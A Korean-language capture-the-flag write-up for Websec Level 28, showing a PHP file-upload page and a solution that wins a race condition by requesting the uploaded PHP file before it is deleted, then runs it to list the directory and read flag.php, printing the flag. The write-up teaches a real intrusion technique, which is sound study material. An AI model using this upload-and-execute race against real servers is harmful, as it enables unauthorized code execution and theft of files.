Websec - Level 28 (풀이봄)
Level 28
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
if(isset($_POST['submit']))
{
if ($_FILES['flag_file']['size'] > 4096) {
die('Your file is too heavy.');
}
$filename = './tmp/' . md5($_SERVER['REMOTE_ADDR']) . '.php';
$fp = fopen($_FILES['flag_file']['tmp_name'], 'r');
$flagfilecontent = fread($fp, filesize($_FILES['flag_file']['tmp_name']));
@fclose($fp);
file_put_contents($filename, $flagfilecontent);
if (md5_file($filename) === md5_file('flag.php') && $_POST['checksum'] == crc32($_POST['checksum']))
{
include($filename); // it contains the `$flag` variable
}
else
{
$flag = "Nope, $filename is not the right file, sorry.";
sleep(1); // Deter bruteforce
}
unlink($filename);
}
?>
Select file <input type='file' name='flag_file' id='flag_file' hidden class="hidden">
<input type='text' name='checksum' id='checksum' class="form-control">
Solution
우선 우리는 파일에 대해 검사를 하는 if문을 만족시킬 수 없으므로 우회를 해야함.
else 문을 보면 sleep(1) 코드가 있고 else문이 끝나고 unlink를 함.
즉, 1초 약간 넘는 시간동안은 파일을 볼 수 있다는 소리가 됨. 이런 기법을 Race Condition
이라고 함.
flag.php의 내용을 출력해주는 php 파일을 작성해야 한다.
테스트로 현재 경로에 어떤 파일과 디렉토리가 있는지 확인해보았다.
파일을 업로드 후 출력되는 tmp경로로 바로 확인을 해주면 출력값이 나온다.
1
2
3
4
5
6
<?php
scandir('/');
?>
# result
# Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php [4] => php-fpm.sock [5] => source.php [6] => tmp )
따라서 flag.php의 내용을 출력해주면 된다.
1
2
3
4
5
6
7
8
9
<?php
$flag = file_get_contents('/flag.php');
echo $flag;
// echo file_get_contents('/flag.php');
// echo file_get_contents('./flag.php'); -> 안됌
?>
# result
# $flag = 'WEBSEC{Can_w3_please_h4ve_mutexes_in_PHP_naow?_Wait_there_is_a_pthread_module_for_php?!_Awwww:/}';
This post is licensed under CC BY 4.0 by the author.